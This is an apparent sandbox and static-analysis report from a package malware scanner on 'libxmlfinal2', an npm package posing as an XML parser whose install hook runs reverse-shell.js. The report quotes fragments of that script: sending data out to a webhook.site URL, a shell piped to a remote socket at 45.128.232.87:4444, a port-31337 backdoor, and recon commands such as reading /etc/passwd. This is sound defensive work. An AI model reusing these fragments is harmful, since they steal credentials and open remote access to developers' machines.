{"package":"libxmlfinal2","version":"0.30.3","known":true,"status":"error","discovered_at":1790299686093,"has_install_script":true,"report_url":"https://andymal.com/packages/libxmlfinal2/0.30.3","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790372610230,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2172,"lab_ip":"10.77.0.155","hooks":[{"name":"install","command":"node reverse-shell.js","exit":1,"timed_out":false,"seconds":0,"stdout_tail":" 45.128.232.87:4444\n[-] Reverse shell failed: connect ENETUNREACH 45.128.232.87:4444 - Local (0.0.0.0:0)\n[+] Starting flag search...\n[+] System info: {\n  hostname: '446062b9015a',\n  platform: 'linux',\n  arch: 'x64',\n  node: 'v22.23.2',\n  cwd: '/work/pkg',\n  env: [\n    'GITHUB_TOKEN',\n    'DATABASE_URL',\n    'npm_config_user_agent',\n    'ANDY_SINK_IP',\n    'CI',\n    'NODE_VERSION',\n    'HOSTNAME',\n    'YARN_VERSION',\n    'npm_node_execpath',\n    'SHLVL',\n    'npm_config_noproxy',\n    'HOME',\n    'OLDPWD',\n    'npm_package_json',\n    'OPENAI_API_KEY',\n    'DEEPSEEK_API_KEY',\n    'npm_config_userconfig',\n    'npm_config_local_prefix',\n    'COLOR',\n    'npm_config_progress',\n    'NPM_TOKEN',\n    'npm_config_audit',\n    '_',\n    'npm_config_prefix',\n    'npm_config_npm_version',\n    'npm_config_cache',\n    'ANDY_STEP_TIMEOUT',\n    'npm_config_node_gyp',\n    'PATH',\n    'ANTHROPIC_API_KEY',\n    'NODE',\n    'npm_package_name',\n    'npm_config_loglevel',\n    'npm_config_fund',\n    'npm_lifecycle_script',\n    'npm_package_version',\n    'npm_lifecycle_event',\n    'AWS_ACCESS_KEY_ID',\n    'npm_config_update_notifier',\n    'SLACK_TOKEN',\n    'AWS_SECRET_ACCESS_KEY',\n    'npm_config_globalconfig',\n    'npm_config_init_module',\n    'PWD',\n    'npm_execpath',\n    'npm_config_global_prefix',\n    'npm_command',\n    'INIT_CWD',\n    'EDITOR'\n  ],\n  files: [ 'index.js', 'package.json', 'reverse-shell.js' ]\n}\n[+] Package.json: libxmlfinal2 0.30.3\n[+] Dependencies: undefined\n[+] Connection closed\n","stderr_tail":"node:events:497\n      throw er; // Unhandled 'error' event\n      ^\n\nError: self-signed certificate\n    at TLSSocket.onConnectSecure (node:internal/tls/wrap:1787:34)\n    at TLSSocket.emit (node:events:519:28)\n    at TLSSocket._finishInit (node:internal/tls/wrap:1176:8)\n    at ssl.onhandshakedone (node:internal/tls/wrap:962:12)\nEmitted 'error' event on ClientRequest instance at:\n    at emitErrorEvent (node:_http_client:108:11)\n    at TLSSocket.socketErrorListener (node:_http_client:575:5)\n    at TLSSocket.emit (node:events:519:28)\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  code: 'DEPTH_ZERO_SELF_SIGNED_CERT'\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"","stderr_tail":""}],"process_count":6,"processes":["npm run-script install --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script install --if-present --ignore-scripts=false","sh -c node reverse-shell.js","node reverse-shell.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":3},{"proto":"socket","ip":"45.128.232.87","port":4444,"n":1},{"proto":"socket","ip":"10.77.0.2","port":443,"n":3,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"webhook.site","n":3}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"libxmlfinal2","version":"0.30.3","description":"XML parser library","scripts":{"install":"node reverse-shell.js"},"install_hooks":{"install":"node reverse-shell.js"},"bin":{},"main":"index.js","dependencies":[],"author":"CTF Player","license":"MIT","hasInstallScript":true},"files":[{"path":"reverse-shell.js","size":8420,"kind":"text","score":1,"hits":["credential_harvest","network_egress","code_execution","reverse_shell","reconnaissance"],"role":"entry"},{"path":"package.json","size":261,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"index.js","size":1308,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":3,"unpacked_size":9989,"findings":[{"title":"Install hook","detail":"install: node reverse-shell.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"arser library\", \"main\": \"index.js\", \"scripts\": { \"install\": \"node reverse-shell.js\" }, \"keywords\": [\"xml\", \"parser\"], \"author\": \"CTF P","severity":"medium","location":"package.json:7"},{"title":"Dumps the whole environment (API keys live there)","detail":"version, cwd: process.cwd(), env: Object.keys(process.env), files: fs.readdirSync('.') };","severity":"high","location":"reverse-shell.js:116"},{"title":"Network activity","detail":"ata(data, label) { try { const url = `https://webhook.site/4d92bf88-1a1b-4695-9b17-f2e3ab7280ef/?rs_${label}=${encodeU","severity":"medium","location":"reverse-shell.js:15"},{"title":"Network activity","detail":"}=${encodeURIComponent(data.substring(0, 5000))}`; https.get(url); } catch (e) {} } // Основная функция reverse","severity":"medium","location":"reverse-shell.js:16"},{"title":"Executes commands or dynamic code","detail":"const net = require('net'); const child_process = require('child_process'); const fs = require('fs'); con","severity":"medium","location":"reverse-shell.js:2"},{"title":"Executes commands or dynamic code","detail":"const net = require('net'); const child_process = require('child_process'); const fs = require('fs'); const https = require('https","severity":"medium","location":"reverse-shell.js:2"},{"title":"Executes commands or dynamic code","detail":"// Запускаем shell const shell = child_process.spawn('/bin/sh', [], { stdio: [0, 1, 2]","severity":"medium","location":"reverse-shell.js:38"},{"title":"Executes commands or dynamic code","detail":"// Запускаем shell const shell = child_process.spawn('/bin/sh', [], { stdio: [0, 1, 2] });","severity":"medium","location":"reverse-shell.js:38"},{"title":"Reverse shell","detail":"// Перенаправляем потоки client.pipe(shell.stdin); shell.stdout.pipe(client); shell.stderr","severity":"critical","location":"reverse-shell.js:43"},{"title":"System reconnaissance","detail":"nd('Backdoor active\\nCommands:\\n/cmd?command=ls\\n/read?file=/etc/passwd'); } }); server.listen(31337, '0.0","severity":"low","location":"reverse-shell.js:169"},{"title":"System reconnaissance","detail":"etTimeout(() => { const commands = [ 'whoami', 'id', 'pwd', 'ls -","severity":"low","location":"reverse-shell.js:204"},{"title":"System reconnaissance","detail":"'ls -la', 'ps aux', 'cat /etc/passwd', 'find / -name \"flag\" -type f 2>/dev/null | h","severity":"low","location":"reverse-shell.js:209"}],"injection_findings":[],"hits":{"install_hook_shell":1,"credential_harvest":1,"network_egress":2,"code_execution":5,"reverse_shell":1,"reconnaissance":3},"iocs":{"urls":["https://webhook.site/4d92bf88-1a1b-4695-9b17-f2e3ab7280ef/?rs_${label"],"domains":["webhook.site"],"ips":["45.128.232.87"]},"score":1,"priority":155,"hints":["install hook install: node reverse-shell.js","untrusted hosts referenced: webhook.site","raw IPs referenced: 45.128.232.87","capability hits: code_execution×5, reconnaissance×3, network_egress×2, install_hook_shell×1, credential_harvest×1, reverse_shell×1"],"entry_files":["reverse-shell.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}